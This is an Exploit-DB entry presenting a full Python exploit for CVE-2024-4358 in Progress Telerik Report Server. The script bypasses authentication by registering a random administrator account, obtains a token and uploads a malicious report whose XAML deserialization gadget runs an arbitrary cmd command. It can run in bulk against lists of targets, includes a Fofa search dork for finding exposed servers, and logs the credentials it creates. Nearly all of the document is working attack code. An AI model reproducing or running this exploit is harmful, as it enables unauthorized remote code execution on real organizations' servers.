Progress Telerik Report Server 2024 Q1 (10.0.24.305) - Authentication Bypass

EDB-ID:

52103




Platform:

Multiple

Date:

2025-03-28


# Exploit Title: CVE-2024-4358: Telerik Report Server Authentication Bypass
# Fofa Dork: title="Telerik Report Server"
# Date: 2024-09-22
# Exploit Author: VeryLazyTech
# GitHub: https://github.com/verylazytech/CVE-2024-4358
# Vendor Homepage: https://www.telerik.com/report-server
# Software Link: https://www.telerik.com/report-server
# Version: 2024 Q1 (10.0.24.305) and earlier
# Tested on: Windows Server 2019
# CVE: CVE-2024-4358


import aiohttp
import asyncio
from alive_progress import alive_bar
from colorama import Fore, Style
import os
import aiofiles
import time 
import random
import argparse
from fake_useragent import UserAgent
import uvloop
import string
import zipfile
import base64

green = Fore.GREEN
magenta = Fore.MAGENTA
cyan = Fore.CYAN
mixed = Fore.RED + Fore.BLUE
red = Fore.RED
blue = Fore.BLUE
yellow = Fore.YELLOW
white = Fore.WHITE
reset = Style.RESET_ALL
bold = Style.BRIGHT
colors = [ green, cyan, blue]
random_color = random.choice(colors)


def banner():
    
    banner = f"""{bold}{random_color}
  ______     _______   ____   ___ ____  _  _         _  _  _________   ___  
 / ___\ \   / / ____| |___ \ / _ \___ \| || |       | || ||___ / ___| ( _ ) 
| |    \ \ / /|  _|     __) | | | |__) | || |_ _____| || |_ |_ \___ \ / _ \ 
| |___  \ V / | |___   / __/| |_| / __/|__   _|_____|__   _|__) |__) | (_) |
 \____|  \_/  |_____| |_____|\___/_____|  |_|          |_||____/____/ \___/ 
                                                                            
__     __                _                      _____         _     
\ \   / /__ _ __ _   _  | |    __ _ _____   _  |_   _|__  ___| |__  
 \ \ / / _ \ '__| | | | | |   / _` |_  / | | |   | |/ _ \/ __| '_ \ 
  \ V /  __/ |  | |_| | | |__| (_| |/ /| |_| |   | |  __/ (__| | | |
   \_/ \___|_|   \__, | |_____\__,_/___|\__, |   |_|\___|\___|_| |_|
                 |___/                  |___/     
                 
                    {bold}{white}@VeryLazyTech - Medium {reset}\n"""
                    
    return banner

print(banner())

parser = argparse.ArgumentParser(description=f"[{bold}{blue}Description{reset}]: {bold}{white}Vulnerability Detection and Exploitation  tool for CVE-2024-4358" , usage=argparse.SUPPRESS)
parser.add_argument("-u", "--url", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a URL or IP wtih port for vulnerability detection")
parser.add_argument("-l", "--list", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a list of URLs or IPs for vulnerability detection")
parser.add_argument("-c", "--command", type=str, default="id", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Specify a shell command to execute it")
parser.add_argument("-t", "--threads", type=int, default=1, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Number of threads for list of URLs")
parser.add_argument("-proxy", "--proxy", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Proxy URL to send request via your proxy")
parser.add_argument("-v", "--verbose", action="store_true", help=f"[{bold}{blue}INF{reset}]: {bold}{white}Increases verbosity of output in console")
parser.add_argument("-o", "--output", type=str, help=f"[{bold}{blue}INF{reset}]: {bold}{white}Filename to save output of vulnerable target{reset}]")
args=parser.parse_args()


async def report(result):
    try:
            if args.output:
                if os.path.isfile(args.output):
                    filename = args.output
                elif os.path.isdir(args.output):
                    filename = os.path.join(args.output, f"results.txt")
                else:
                    filename = args.output
            else:
                    filename = "results.txt"
            async with aiofiles.open(filename, "a") as w:
                    await w.write(result + '\n')

    except KeyboardInterrupt as e:        
        quit()
    except asyncio.CancelledError as e:
        SystemExit
    except Exception as e:
        pass  
    
async def randomizer():
    try:
        strings = string.ascii_letters
        return ''.join(random.choices(strings, k=30))
    
    except Exception as e:
        print(f"Exception in randomizer :{e}, {type(e)}")
    
async def exploit(payload,url, authToken, session, user, psw):
    try:
        
        randomReport = await randomizer()
        headers = {"Authorization" : f"Bearer {authToken}"}
        body1 = {"reportName":randomReport,
                "categoryName":"Samples",
                "description":None,
                "reportContent":payload,
                "extension":".trdp"
            }
        proxy = args.proxy if args.proxy else None
        async with session.post( f"{url}/api/reportserver/report", ssl=False, timeout=30, proxy=proxy, json=body1, headers=headers) as response1:
            if response1.status !=200:
                print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed{reset}")
                
                await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Deserialization RCE: Failed\n----------------------------------")
                return 
                 
         
        async with session.post( f"{url}/api/reports/clients", json={"timeStamp":None}, ssl=False, timeout=30) as response2:
            if response2.status == 200:
                responsed2 = await response2.json()
                id = responsed2['clientId']
            else:
                print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed{reset}")
                
                await report(f"Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Failed\n----------------------------------")
                return 
            
        body2 ={"report":f"NAME/Samples/{randomReport}/",
                "parameterValues":{}
            }  
        
        async with session.post( f"{url}/api/reports/clients/{id}/parameters", json=body2, proxy=proxy, ssl=False, timeout=30) as finalresponse:
            print(f"[{bold}{green}Vulnerale{reset}]: {bold}{white}Report for: {url}\n Login Crendentials: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Success{reset}")
                
            await report(f"Report for: {url}\n Login crendential: Usename: {user} | Password: {psw} | Authentication Token: {authToken}\n Report created: {randomReport}\n Deserialization RCE: Success\n----------------------------------")
                
        
    except KeyError as e:
        pass
    
    except aiohttp.ClientConnectionError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
    except TimeoutError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
            
    except KeyboardInterrupt as e:
        SystemExit
        
    except aiohttp.client_exceptions.ContentTypeError as e:
        pass
    
    except asyncio.CancelledError as e:
        SystemExit
    except aiohttp.InvalidURL as e:
        pass
    except Exception as e:
        print(f"Exception at authexploit: {e}, {type(e)}")
        
        
async def create(url,user, psw, session):
    try:
        base_url=f"{url}/Startup/Register"
        body = {"Username": user, 
                "Password": psw, 
                "ConfirmPassword": psw, 
                "Email": f"{user}@{user}.org", 
                "FirstName": user, 
                "LastName": user}
        headers = {
            "User-Agent": UserAgent().random,
            "Content-Type": "application/x-www-form-urlencoded",
        }
        
        async with session.post(base_url, headers=headers, data=body, ssl=False, timeout=30) as response:
            if response.status == 200:
            
                return "success"
            
            return "failed"
        
    except KeyError as e:
        pass
    
    except aiohttp.ClientConnectionError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
    except TimeoutError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
            
    except KeyboardInterrupt as e:
        SystemExit
    except asyncio.CancelledError as e:
        SystemExit
    except aiohttp.InvalidURL as e:
        pass
    except aiohttp.client_exceptions.ContentTypeError as e:
        pass
    except Exception as e:
        print(f"Exception at authexploitcreate: {e}, {type(e)}")

async def login(url, user, psw, session):
    try:
        
        base_url = f"{url}/Token"
        body = {"grant_type": "password","username":user, "password": psw}
        headers = {
            "User-Agent": UserAgent().random,
            "Content-Type": "application/x-www-form-urlencoded",
        }
        
        async with session.post( base_url, data=body, headers=headers, ssl=False, timeout=30) as response:
            
            if response.status == 200:
                responsed = await response.json()
                return responsed['access_token']
            
    except KeyError as e:
        pass
    
    except aiohttp.ClientConnectionError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
    except TimeoutError as e:
        if args.verbose:
            print(f"[{bold}{yellow}WRN{reset}]: {bold}{white}Timeout reached for {url}{reset}")
            
    except KeyboardInterrupt as e:
        SystemExit
    except asyncio.CancelledError as e:
        SystemExit
    except aiohttp.InvalidURL as e:
        pass
    except aiohttp.client_exceptions.ContentTypeError as e:
        pass
    except Exception as e:
        print(f"Exception at authexploitLogin: {e}, {type(e)}")
        
async def streamwriter():
    try:
        
        with zipfile.ZipFile("payloads.trdp", 'w') as zipf:
            zipf.writestr('[Content_Types].xml', '''<?xml version="1.0" encoding="utf-8"?><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/zip" /></Types>''')
        
            zipf.writestr("definition.xml", f'''<Report Width="6.5in" Name="oooo"
 xmlns="http://schemas.telerik.com/reporting/2023/1.0">
 <Items>
  <ResourceDictionary
   xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
   xmlns:System="clr-namespace:System;assembly:mscorlib"
   xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
   xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral,    
PublicKeyToken=31bf3856ad364e35"
  >
   <ODP:ObjectDataProvider MethodName="Start" >
    <ObjectInstance>
     <Diag:Process>
      <StartInfo>
       <Diag:ProcessStartInfo FileName="cmd" Arguments="/c {args.command}"></Diag:ProcessStartInfo>
      </StartInfo>
     </Diag:Process>
    </ObjectInstance>
   </ODP:ObjectDataProvider>
  </ResourceDictionary>
 </Items>''')
        
    except Exception as e:
        print(f"Exception at streamwriter: {e}, {type(e)}")
        
async def streamreader(file):
    try:
        async with aiofiles.open(file, 'rb') as file:
            contents = await file.read()
        bs64encrypted = base64.b64encode(contents).decode('utf-8')
        return bs64encrypted
    except Exception as e:
        print(f"Exception at streamreder: {e}, {type(e)}")
        
        
async def core(url, sem, bar):
    try:
        user = await randomizer()
        password = await randomizer()
        async with aiohttp.ClientSession() as session:
            
            status = await create(url, user, password, session)
        
            if status == "success":
                await asyncio.sleep(0.001)
                authJWT = await login(url, user, password, session)
            
                if authJWT:
                    payloads = await streamreader("payloads.trdp")
                
                    await exploit(payloads, url, authJWT, session, user, password)
            await asyncio.sleep(0.002)
            
    except Exception as e:
        print(f"Exception at core: {e}, {type(e)}")
        
    finally:
        bar()
        sem.release()
        
    
async def loader(urls, session, sem, bar):
    try:
        tasks = []
        for url in urls:
            await sem.acquire()
            task = asyncio.ensure_future(core(url, sem, bar))
            tasks.append(task)
        await asyncio.gather(*tasks, return_exceptions=True)
    except KeyboardInterrupt as e:
        SystemExit
    except asyncio.CancelledError as e:
        SystemExit
    except Exception as e:
        print(f"Exception in loader: {e}, {type(e)}")   
        
async def threads(urls):
    try:
        urls = list(set(urls))
        sem = asyncio.BoundedSemaphore(args.threads)
        customloops = uvloop.new_event_loop()
        asyncio.set_event_loop(loop=customloops)
        loops = asyncio.get_event_loop()
        async with aiohttp.ClientSession(loop=loops) as session:
            with alive_bar(title=f"Exploiter", total=len(urls), enrich_print=False) as bar:
                loops.run_until_complete(await loader(urls, session, sem, bar))
    except RuntimeError as e:
        pass
    except KeyboardInterrupt as e:
        SystemExit
    except Exception as e:
        print(f"Exception in threads: {e}, {type(e)}")

async def main():
    try:
        
        urls = []
        if args.url:
            if args.url.startswith("https://") or args.url.startswith("http://"):
                urls.append(args.url)
            else:
                new_url = f"https://{args.url}"
                urls.append(new_url)
                new_http = f"http://{args.url}"
                urls.append(new_http)
            await streamwriter()
            await threads(urls)
                
        if args.list:
            async with aiofiles.open(args.list, "r") as streamr:
                async for url in streamr:
                    url = url.strip()
                    if url.startswith("https://") or url.startswith("http://"):
                        urls.append(url)
                    else:
                        new_url = f"https://{url}"
                        urls.append(new_url)
                        new_http = f"http://{url}"
                        urls.append(new_http)
                        
            await streamwriter()
            await threads(urls)
    except FileNotFoundError as e:
        print(f"[{bold}{red}WRN{reset}]: {bold}{white}{args.list} no such file or directory{reset}")
        SystemExit
        
    except Exception as e:
        print(f"Exception in main: {e}, {type(3)})")

if __name__ == "__main__":
    asyncio.run(main())